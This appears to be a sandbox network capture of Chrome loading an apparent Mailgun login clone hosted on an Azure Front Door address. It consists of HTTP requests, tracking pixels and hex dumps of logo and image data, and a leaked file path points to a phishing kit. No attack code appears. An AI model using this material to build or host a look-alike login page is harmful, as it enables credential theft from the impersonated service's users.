2024-07-03 12:38:46 UTC	947	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	553	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, max-age=0 Content-Type: image/gif;charset=utf-8 date: Wed, 03 Jul 2024 12:38:45 GMT perf: 7402827104 server: tsa_f Set-Cookie: muc_ads=ff47a595-90e8-4551-bbd4-50ca5d09da40; Max-Age=63072000; Expires=Fri, 03 Jul 2026 12:38:46 GMT; Path=/; Domain=t.co; Secure; SameSite=None strict-transport-security: max-age=0 x-connection-hash: f9acba2a3e05a6bbdadcefc8839a94c1235e8eaa2dda3ec0c3fda84f8d6dfd5c x-response-time: 176 x-transaction-id: 498613d7fb4d3924 Content-Length: 43 Connection: close
2024-07-03 12:38:46 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49750	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	376	OUT	GET /login/static/logo-mailgun-sinch.svg HTTP/1.1 Host: login.mailgun.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	437	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=logo-mailgun-sinch.svg Content-Length: 5260 Content-Type: image/svg+xml; charset=utf-8 Date: Wed, 03 Jul 2024 12:38:46 GMT Etag: "1718130172.0-5260-3523617926" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:46 UTC	742	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 33 39 37 22 20 68 65 69 67 68 74 3d 22 31 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 39 37 20 31 31 36 22 3e 0a 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 65 62 35 34 35 34 3b 7d 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 31 32 38 2e 34 34 2c 39 36 76 2d 35 36 68 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg id="Layer_1" xmlns="http://www.w3.org/2000/svg" width="397" height="116" viewBox="0 0 397 116"> <defs> <style>.cls-1{fill:none;}.cls-2{fill:#eb5454;}</style> </defs> <path d="m128.44,96v-56h1
2024-07-03 12:38:46 UTC	2358	IN	Data Raw: 2e 34 31 2c 31 33 2e 33 36 2c 34 2e 32 34 2c 33 2e 32 35 2c 32 2e 38 33 2c 34 2e 38 38 2c 36 2e 38 33 2c 34 2e 38 38 2c 31 32 76 32 34 2e 34 68 2d 38 2e 37 32 6c 2d 2e 39 36 2d 36 2e 34 63 2d 31 2e 31 37 2c 32 2e 31 33 2d 32 2e 38 31 2c 33 2e 38 39 2d 34 2e 39 32 2c 35 2e 32 38 2d 32 2e 31 31 2c 31 2e 33 39 2d 34 2e 38 31 2c 32 2e 30 38 2d 38 2e 31 32 2c 32 2e 30 38 5a 6d 32 2e 33 32 2d 38 63 32 2e 39 33 2c 30 2c 35 2e 32 31 2d 2e 39 36 2c 36 2e 38 34 2d 32 2e 38 38 2c 31 2e 36 33 2d 31 2e 39 32 2c 32 2e 36 35 2d 34 2e 32 39 2c 33 2e 30 38 2d 37 2e 31 32 68 2d 38 2e 37 32 63 2d 32 2e 37 32 2c 30 2d 34 2e 36 37 2e 34 39 2d 35 2e 38 34 2c 31 2e 34 38 2d 31 2e 31 37 2e 39 39 2d 31 2e 37 36 2c 32 2e 32 2d 31 2e 37 36 2c 33 2e 36 34 2c 30 2c 31 2e 35 35 2e 35 Data Ascii: .41,13.36,4.24,3.25,2.83,4.88,6.83,4.88,12v24.4h-8.72l-.96-6.4c-1.17,2.13-2.81,3.89-4.92,5.28-2.11,1.39-4.81,2.08-8.12,2.08Zm2.32-8c2.93,0,5.21-.96,6.84-2.88,1.63-1.92,2.65-4.29,3.08-7.12h-8.72c-2.72,0-4.67.49-5.84,1.48-1.17.99-1.76,2.2-1.76,3.64,0,1.55.5
2024-07-03 12:38:46 UTC	559	IN	Data Raw: 31 2d 2e 37 34 73 2d 31 2e 39 37 2d 31 2e 32 2d 32 2e 36 2d 32 2e 31 33 2d 2e 39 36 2d 32 2e 30 35 2d 2e 39 38 2d 33 2e 33 37 68 33 2e 37 38 63 2e 30 34 2e 39 32 2e 33 37 2c 31 2e 36 38 2e 39 39 2c 32 2e 33 31 73 31 2e 34 39 2e 39 34 2c 32 2e 35 39 2e 39 34 63 2e 39 35 2c 30 2c 31 2e 37 31 2d 2e 32 33 2c 32 2e 32 37 2d 2e 36 39 2e 35 36 2d 2e 34 36 2e 38 34 2d 31 2e 30 37 2e 38 34 2d 31 2e 38 33 73 2d 2e 32 35 2d 31 2e 34 33 2d 2e 37 34 2d 31 2e 38 38 63 2d 2e 34 39 2d 2e 34 35 2d 31 2e 31 35 2d 2e 38 31 2d 31 2e 39 37 2d 31 2e 30 39 73 2d 31 2e 37 2d 2e 35 38 2d 32 2e 36 33 2d 2e 39 63 2d 31 2e 35 31 2d 2e 35 32 2d 32 2e 36 37 2d 31 2e 31 39 2d 33 2e 34 36 2d 32 2e 30 32 2d 2e 37 39 2d 2e 38 32 2d 31 2e 31 39 2d 31 2e 39 31 2d 31 2e 31 39 2d 33 2e 32 38 Data Ascii: 1-.74s-1.97-1.2-2.6-2.13-.96-2.05-.98-3.37h3.78c.04.92.37,1.68.99,2.31s1.49.94,2.59.94c.95,0,1.71-.23,2.27-.69.56-.46.84-1.07.84-1.83s-.25-1.43-.74-1.88c-.49-.45-1.15-.81-1.97-1.09s-1.7-.58-2.63-.9c-1.51-.52-2.67-1.19-3.46-2.02-.79-.82-1.19-1.91-1.19-3.28
2024-07-03 12:38:46 UTC	1601	IN	Data Raw: 36 36 2c 31 2e 31 38 2e 38 2e 34 35 2c 31 2e 34 35 2c 31 2e 30 34 2c 31 2e 39 33 2c 31 2e 37 38 2e 34 39 2e 37 34 2e 37 33 2c 31 2e 36 38 2e 37 33 2c 32 2e 38 34 2c 30 2c 31 2e 30 33 2d 2e 32 36 2c 31 2e 39 38 2d 2e 37 38 2c 32 2e 38 36 2d 2e 35 32 2e 38 38 2d 31 2e 33 2c 31 2e 35 38 2d 32 2e 33 32 2c 32 2e 31 31 2d 31 2e 30 33 2e 35 33 2d 32 2e 32 39 2e 38 2d 33 2e 37 38 2e 38 5a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 31 35 31 2e 32 32 2c 32 37 2e 38 56 38 2e 32 68 33 2e 35 38 76 31 39 2e 36 68 2d 33 2e 35 38 5a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 31 36 34 2e 32 31 2c 32 37 2e 38 56 38 2e 32 68 33 2e 35 38 6c 39 2e 32 31 2c 31 33 2e 38 76 2d 31 33 2e 38 68 33 2e 35 38 76 31 39 2e 36 68 2d 33 2e 35 38 6c 2d 39 2e 32 31 2d Data Ascii: 66,1.18.8.45,1.45,1.04,1.93,1.78.49.74.73,1.68.73,2.84,0,1.03-.26,1.98-.78,2.86-.52.88-1.3,1.58-2.32,2.11-1.03.53-2.29.8-3.78.8Z"/> <path d="m151.22,27.8V8.2h3.58v19.6h-3.58Z"/> <path d="m164.21,27.8V8.2h3.58l9.21,13.8v-13.8h3.58v19.6h-3.58l-9.21-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49751	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	380	OUT	GET /login/static/mailgun-login-leftrail.png HTTP/1.1 Host: login.mailgun.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	426	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=mailgun-login-leftrail.png Content-Length: 182211 Content-Type: image/png Date: Wed, 03 Jul 2024 12:38:46 GMT Etag: "1718130172.0-182211-1768433185" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:46 UTC	753	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 04 20 08 06 00 00 00 b4 31 a9 73 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 02 c7 58 49 44 41 54 78 01 ec bd 07 9c e4 c6 75 e7 ff 0a dd 3d 79 67 73 ce 89 cb b0 cb 9c c4 a8 c0 20 89 a2 24 8a 4a 56 3a 05 cb 96 65 ff 2d a7 b3 6c cb 51 3e cb 41 be 93 6d d9 be 93 64 fb 6c eb 14 2c 2a 33 89 a4 98 73 de 65 5c 2e b9 39 e7 34 b9 bb 51 ff f7 0a 28 a0 80 06 7a 7a 36 70 7b 67 7e df fd f4 4e 37 1a 28 14 0a d5 85 5f bd 7a f5 4a 51 c8 fa f5 fb 27 50 5b db e7 b4 d6 6f 24 92 17 00 00 00 00 00 00 e0 b8 a2 e9 59 e5 79 7f bf 70 66 fb 7f d8 4d 4a fe 5b bf 7d ff 02 ad 5b ee e5 b7 0b 08 00 00 00 00 00 00 Data Ascii: PNGIHDR 1spHYs%%IR$sRGBgAMAaXIDATxu=ygs $JV:e-lQ>Amdl,*3se\.94Q(zz6p{g~N7(_zJQ'P[o$YypfMJ[}[
2024-07-03 12:38:46 UTC	2358	IN	Data Raw: 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 Data Ascii: 4444444444444444444444444
2024-07-03 12:38:46 UTC	559	IN	Data Raw: f4 b9 a3 7d 32 84 5d de fd a6 d4 76 95 3a af 5b ff a3 3c 53 6d 5d cd ac 9b b6 0c 74 32 8f b9 69 51 ea f7 9b 91 76 fd bb 57 fb fb 4e ff 76 28 95 56 96 01 21 5d 77 12 f5 c0 d9 6e f3 eb de 23 b7 ed d2 e9 eb b1 c7 67 59 b4 73 ea a5 8e 0b 2f 59 9f ec ef c6 f9 9c a8 a3 6e 7a 76 bf 94 85 3b dd 26 d7 e4 61 04 d6 ef 84 d1 25 ca bb f3 9d fb 9c 70 d3 ce 69 13 01 00 cd 03 5c 5c 9a 04 eb f2 60 c5 54 44 a3 43 af 8d 0c eb 1e 43 ec 43 50 65 f8 45 ea ac 7c 84 22 dc 3e 34 6d e7 41 8f e4 da 86 db 76 0c 51 4e 47 22 7d 1d c3 9d 77 44 c7 1e 41 39 64 0d 69 e7 a6 5f ef 1c a9 ed 89 74 d3 2e 03 e9 6b c9 3a af fb d7 92 73 fd 35 d7 90 57 7f 9d d1 9f 61 cb e8 f5 fc 0d a8 6c 97 95 dc 32 94 8f 9e 17 ee aa 73 f3 79 24 f7 f6 78 5c ab cd 47 bd eb 19 2e 1f 99 c7 e6 dc df 11 dd b7 e1 ea 63 Data Ascii: }2]v:[<Sm]t2iQvWNv(V!]wn#gYs/Ynzv;&a%pi\\`TDCCCPeE\|">4mAvQNG"}wDA9di_t.k:s5Wal2sy$x\G.c
2024-07-03 12:38:46 UTC	4522	IN	Data Raw: 69 d6 68 ae eb 92 e3 e4 c7 4d 97 52 cf 20 45 70 83 01 e0 58 50 24 70 5c 48 fb 6f e6 fa 95 3b 82 3b b3 51 4b 59 dc ad cb 49 56 63 9d f0 65 8c b6 38 83 99 61 5a 3a e3 81 91 da 33 db ff 30 dd 58 a7 3a 20 2a eb fa dc cf a9 eb 96 7c 48 0f 51 3b 93 a9 28 55 5e be 8e dd 83 a2 bc 59 ab 8e eb 3f 9a e7 db 9a 81 c4 6b 50 a9 72 a5 70 9b bd 0e 4d b1 48 d5 e9 f4 32 1e 5a 51 99 ab 38 84 62 a2 4c dc fd 9d ef 6b ca c7 49 5f 39 79 4a 1f 9f 97 9f c4 fe 69 32 dc aa ec 3d 30 ef 9d f4 6b ca 35 a3 7c 55 5e 9e b2 f6 77 f3 99 da 6e cb 49 5e e6 de 84 d7 e1 3b db c9 a9 03 76 3b b9 e7 77 ce 1b 95 41 c6 f5 ba 9f a3 fb 93 27 7c ec 6f 93 52 a2 44 25 e7 59 e8 54 1e 6b 7e 1f 79 ae 03 e9 bc da 3c 65 f9 4c 87 fb da 7d 5c eb a6 7b ce 68 9f 9c fa af 9d df 51 56 d9 28 37 0f e9 f3 b9 65 97 57 Data Ascii: ihMR EpXP$p\Ho;;QKYIVce8aZ:30X: *\|HQ;(U^Y?kPrpMH2ZQ8bLkI_9yJi2=0k5\|U^wnI^;v;wA'\|oRD%YTk~y<eL}\{hQV(7eW
2024-07-03 12:38:46 UTC	5792	IN	Data Raw: 44 97 a2 2a 15 75 1f d1 e1 43 34 b4 ea 15 3a f8 ed 1f d0 90 c4 cb 79 d3 b5 34 f8 86 2b 9c 54 92 4f 26 79 8e fa ce 56 37 c6 fc 70 ee 2e f5 84 fa 48 27 99 02 70 92 a3 11 66 31 03 95 67 41 d7 f1 6a 6a e9 c6 42 e7 f9 98 87 9f 63 cb 3a 45 81 4f c4 08 31 a9 a3 48 5d ed 36 6c 1d 51 1c 5a 8d dc 99 a5 14 83 86 09 00 00 c0 d1 13 9b 9b 3c bb 21 fc 24 6f 24 ec ea 38 52 1d 9d d4 72 ee 44 ea a6 56 3a fc 93 9f 52 e9 27 3f 34 b1 dc 87 ce bb 90 15 84 84 81 4d ba bb 24 9e 8f 44 d1 c2 62 9a 28 d7 ad 45 27 d6 b1 a0 5c 77 d2 f4 71 00 8c 66 60 82 75 a8 59 82 3e c3 17 bd de 32 c7 e6 bd fc 97 5e a0 c1 c5 36 80 fc b7 bb b5 40 e3 3a 3c 13 c3 56 45 31 af 74 ce 81 6e 02 8a 20 d4 01 00 00 1c 2d 41 84 fe 20 66 7b fc e2 ff 25 16 bd cf 4f 26 59 1f a1 bd 9d 5a cf 39 83 ba ae 79 13 95 a7 Data Ascii: D*uC4:y4+TO&yV7p.H'pf1gAjjBc:EO1H]6lQZ<!$o$8RrDV:R'?4M$Db(E'\wqf`uY>2^6@:<VE1tn -A f{%O&YZ9y
2024-07-03 12:38:47 UTC	7074	IN	Data Raw: 62 cc 5b d0 d3 23 64 89 c6 25 fa 42 27 77 cc 8a 9a a1 d3 4a 48 9f 40 77 96 5a ec 42 10 66 61 22 b9 84 57 d6 93 bf 63 27 5b b0 d9 7a 6e d4 73 1d eb a3 fb 34 11 91 e8 7b 81 c3 0f 3f 34 2a 66 62 69 81 7a 4a 2d 34 f5 5d ef a6 f1 2b 96 91 9a da c1 ca 69 80 06 b7 ec a4 81 9d 7b a8 d2 37 40 85 b6 16 b6 98 b7 d2 84 65 4b a9 75 fa 32 9a b7 6c 16 f5 6e 5d 48 fb 1e 7f 9a 7a 1e 7f 9e ba 58 cc b5 54 83 13 e8 82 47 d5 b4 6b 50 a2 8f e0 34 f4 3a 70 c5 11 f7 9a 16 7e 3a 1f dc b0 81 68 ef 1e a2 ee 89 74 bc c7 2a aa 6c cd ae 86 56 9f 5b 6e bd 95 fe e4 4f fe 84 da bc 56 f3 d0 f4 59 1d 8b 15 7a e5 aa 55 d4 de d6 61 dc 60 82 f8 fa c1 7d f0 7d 11 95 15 16 ef 7b d9 0a bf 95 a6 b2 b0 9d 31 7d 3a 3f 7c 5b a3 87 53 85 cb a4 a7 b7 c7 1c 2b af 57 b8 43 b5 68 e1 02 9a 34 71 22 7d fe Data Ascii: b[#d%B'wJH@wZBfa"Wc'[zns4{?4fbizJ-4]+i{7@eKu2ln]HzXTGkP4:p~:htlV[nOVYzUa`}}{1}:?\|[S+WCh4q"}
2024-07-03 12:38:47 UTC	8253	IN	Data Raw: 23 da ba 9e da a7 4f a7 ce eb de 44 1e ff ed 7b e2 09 ea 7d 79 0d b5 96 07 24 0c 4b 20 ba c3 c6 5d e7 5f 51 70 1d c6 38 e3 9b 78 e1 7e 47 2b 15 27 8d 27 e3 cc 7d 1c 71 23 99 8c 68 1e 43 9d 2d 56 26 47 6e 27 4a d5 1c 73 ac ea 8f 29 5f aa 4d ff 48 d2 c9 7a ef 92 16 f1 b5 df 05 ff 2b 67 cc 24 31 11 1b 0f 68 70 3c a8 63 5f c9 a7 89 ea a2 6e 60 7b 53 fd 74 62 c1 ae ad 85 3c ed b9 12 8d 67 c7 6d ab ce 72 65 49 0c 73 38 23 e3 00 8c 12 c6 ae 05 dd 75 3b d1 b1 73 4a 72 78 2d e9 00 62 b7 a7 f7 77 5d 1a b4 15 e7 6e 03 59 db 27 38 31 f8 c6 17 84 c6 2f 5d 44 87 5b 24 14 e2 20 e7 b7 12 f9 36 0b 8d 58 3f c5 9d a4 b5 da 4f fd 3b 77 d0 f6 1f dc 4c d3 6f f8 00 2d 7a f7 8d b4 af 73 2a 15 c6 77 d2 f8 d3 96 c8 f2 93 a4 0f 1f 0a 16 0c 6a 51 a1 bb 09 77 06 ba da a8 6d f6 3c 9a Data Ascii: #OD{}y$K ]_Qp8x~G+''}q#hC-V&Gn'Js)_MHz+g$1hp<c_n`{Stb<gmreIs8#u;sJrx-bw]nY'81/]D[$ 6X?O;wLo-zs*wjQwm<
2024-07-03 12:38:47 UTC	1057	IN	Data Raw: dd ef 7e d7 bc bf f6 da 6b e9 63 1f fb 98 19 89 91 fb b5 65 cb 66 fa 8b bf f8 12 ed d9 bb c7 e4 f1 9f fe f1 9f cd 04 e3 fb 1f 78 80 fe e3 3f fe 83 85 6f 3f bd e1 a2 8b f9 be cd a0 6f 7f fb db b4 61 dd 7a fa 9d df fe 1d fa e4 a7 3e 99 5b 5f a5 5e 3c fa e8 23 74 d3 0f be 4f cf ad 5c c5 9d 95 7d 34 81 85 f9 f4 69 d3 e9 6d 6f 7f 1b 5d 7d d5 d5 b4 60 de 7c b3 ef a1 83 87 e8 9f fe f9 9f b9 de bd 68 86 69 de f5 ee 1b 68 c3 fa 0d 74 d3 f7 6f e2 8e c3 01 9a c3 75 e7 ad 6f 7b ab b9 0f 32 a9 b9 c0 f5 49 ea f0 57 be f2 15 7a e1 f9 17 8c f8 ff d0 87 3e 44 bb 76 ef a6 1f fe f8 07 b4 7f ff 7e 9a c4 82 fd e2 8b 2f a6 0f 7f f0 17 e8 d4 d3 4e 33 f7 53 85 7e 59 90 e8 a3 93 70 c0 85 92 3e 2e 94 f2 4f f7 6a bf 8f f6 73 fc f7 f0 10 05 63 98 b1 25 d0 1b 98 b8 69 9b 8c 9c a6 23 Data Ascii: ~kcefx?o?oaz>[_^<#tO\}4imo]}`\|hihtouo{2IWz>Dv~/N3S~Yp>.Ojsc%i#
2024-07-03 12:38:47 UTC	10136	IN	Data Raw: fd 34 0b a3 b5 f4 1f ff fe ef 2c 50 cf a6 99 33 67 1a eb ae ad cf e2 26 e1 87 fe e0 32 49 f2 6f bf fc b7 46 9c 0b 62 7d 3e ef bc f3 59 70 ad a5 87 1e 78 88 c5 7f 2f 7d f3 9b ff 8f 2d e2 17 d0 75 6c 45 15 ab ea df ff c3 3f d0 e3 8f 07 c2 6c ee 9c b9 f4 d6 b7 be d5 88 be 07 1e 78 90 05 fa 4b f4 1a 8b ac bf fc d2 5f d1 62 1e 35 98 31 63 16 5b ac 2b 26 ed 6a e8 8e 32 d0 3f 68 2c f3 dd 7c 7d 8f 3c fc 30 0b d6 17 8c 38 fe c9 4f 7e 42 1d ed 1d 74 1d 5b 92 25 04 a4 88 d6 e7 58 20 f7 b3 78 bc ff be fb e8 1d d7 5d c7 e5 78 16 1d 3c 74 88 fe 9e 45 f1 cf d8 12 2d 2e 17 b3 66 cd a6 6b af b9 86 da b9 6c ef be e7 3e 7a e5 95 57 e8 fe fb 1f e0 cf ed 7c 6d 5f 36 ae 16 81 28 0d 7e 51 e2 22 24 d7 fe 89 4f 7c dc 88 ce 3b ee b8 d3 b8 db b4 f1 f1 ef bd f1 bd b4 70 c9 22 5a b6 Data Ascii: 4,P3g&2IoFb}>Ypx/}-ulE?lxK_b51c[+&j2?h,\|}<08O~Bt[%X x]x<tE-.fkl>zW\|m_6(~Q"$O\|;p"Z
2024-07-03 12:38:47 UTC	8648	IN	Data Raw: 40 fa b6 cb f9 ea 9a 57 e9 d6 5b 6f a5 fb 1f 7a c8 74 2e f2 f2 f2 ea 6b 6b e9 27 37 df 42 0f 3d fc 30 f5 f6 f5 d2 11 13 5a cb 0e 70 f9 dc 72 db 6d f4 d2 cb ab 8f d9 80 b5 04 62 ad 52 b0 14 7d 59 42 c3 f2 cb e3 ce d2 ae 7d fb e8 07 3f fc 21 3d f3 cc 33 c6 14 7b bc 1f d9 12 89 6a f5 ea d5 f4 9f df fc 26 ed dc b9 e3 98 5d df 70 e9 d8 7b da c8 be 59 69 4b 5d dc bd 73 17 7d e3 eb df 30 75 78 dd ba 75 b4 7b cf 6e 3a 16 d8 f4 25 64 ef da b5 eb e8 fb 3f f8 3e 6d db b6 c3 8c fe 0c d7 74 ea 30 aa d7 de bd fb e9 96 5b 6f a1 35 af ae 09 8c af 0d dc 48 19 f9 79 99 eb d8 4d 3f f8 21 77 3c f6 8f a8 5c e0 12 73 ac d1 c9 7b a6 6b 87 0c b3 5a c3 da 67 6b 96 09 cc 39 07 00 a3 98 84 93 87 8d 38 e8 44 1e 3c 66 64 a5 af 9a 74 ff e0 73 e0 93 23 f1 cf 55 18 80 b1 66 1f 6a 04 e3 Data Ascii: @W[ozt.kk'7B=0ZprmbR}YB}?!=3{j&]p{YiK]s}0uxu{n:%d?>mt0[o5HyM?!w<\s{kZgk98D<fdts#Ufj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49755	104.244.42.195	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	875	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: guest_id_marketing=v1%3A172001032614122482; guest_id_ads=v1%3A172001032614122482; personalization_id="v1_bD7EuidMKJr6ILLCc+OEuQ=="; guest_id=v1%3A172001032614122482
2024-07-03 12:38:47 UTC	400	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 12:38:46 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: a09b125919156810 strict-transport-security: max-age=631138519 x-response-time: 5 x-connection-hash: ee1591d60fd95a9f68983ca527fcf09dcd6c48d017490a9ba692eb8bcf9da573 connection: close
2024-07-03 12:38:47 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49754	216.58.206.68	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	1245	OUT	GET /pagead/1p-user-list/1005952947/?random=1685204592833&cv=11&fst=1685203200000&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=https%3A%2F%2Flogin.mailgun.com%2Flogin%2F&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&auid=46058530.1685204589&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwDaQooLWzO0pkR1-s-k3RADKaWI_s76A9hYnw&random=2693476460&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
